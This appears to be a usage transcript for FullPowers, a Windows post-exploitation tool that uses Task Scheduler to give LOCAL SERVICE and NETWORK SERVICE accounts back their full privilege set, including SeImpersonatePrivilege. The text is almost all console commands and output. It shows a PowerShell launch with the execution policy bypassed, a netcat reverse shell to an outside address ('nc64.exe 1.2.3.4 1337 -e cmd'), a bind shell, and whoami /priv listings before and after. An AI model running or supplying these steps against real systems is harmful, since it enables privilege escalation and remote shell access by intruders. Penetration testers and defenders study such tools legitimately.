c:\TOOLS>FullPowers -h

FullPowers v0.1 (by @itm4n)

  This tool leverages the Task Scheduler to recover the default privilege set of a service account.
  For more information: https://itm4n.github.io/localservice-privileges/

Optional arguments:
  -v              Verbose mode, used for debugging essentially
  -c <CMD>        Custom command line to execute (default is 'C:\Windows\System32\cmd.exe')
  -x              Try to get the extended set of privileges (might fail with NETWORK SERVICE)
  -z              Non-interactive, create a new process and exit (default is 'interact with the new process')

c:\TOOLS>FullPowers
[+] Successfully created scheduled task. PID=9976
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.19041.84]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>

c:\TOOLS>FullPowers -c "powershell -ep Bypass"
[+] Successfully created scheduled task. PID=9028
[+] CreateProcessAsUser() OK
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Try the new cross-platform PowerShell https://aka.ms/pscore6

PS C:\WINDOWS\system32> Get-ExecutionPolicy
Bypass

c:\TOOLS>FullPowers -c "C:\TOOLS\nc64.exe 1.2.3.4 1337 -e cmd" -z
[+] Successfully created scheduled task. PID=5482
[+] CreateProcessAsUser() OK

C:\TOOLS>RunFromProcess-x64.exe <PID> C:\TOOLS\nc64.exe -l -p 9001 -e cmd

C:\TOOLS>nc64.exe 127.0.0.1 9001
Microsoft Windows [Version 10.0.19041.84]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami
nt authority\local service

C:\WINDOWS\system32>whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name          Description              State
======================= ======================== =======
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeCreateGlobalPrivilege Create global objects    Enabled

c:\TOOLS>FullPowers
[+] Started dummy thread with id 5568
[+] Successfully created scheduled task.
[+] Got new token! Privilege count: 7
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.19041.84]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami
nt authority\local service

C:\WINDOWS\system32>whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token             Enabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Enabled
SeAuditPrivilege              Generate security audits                  Enabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Enabled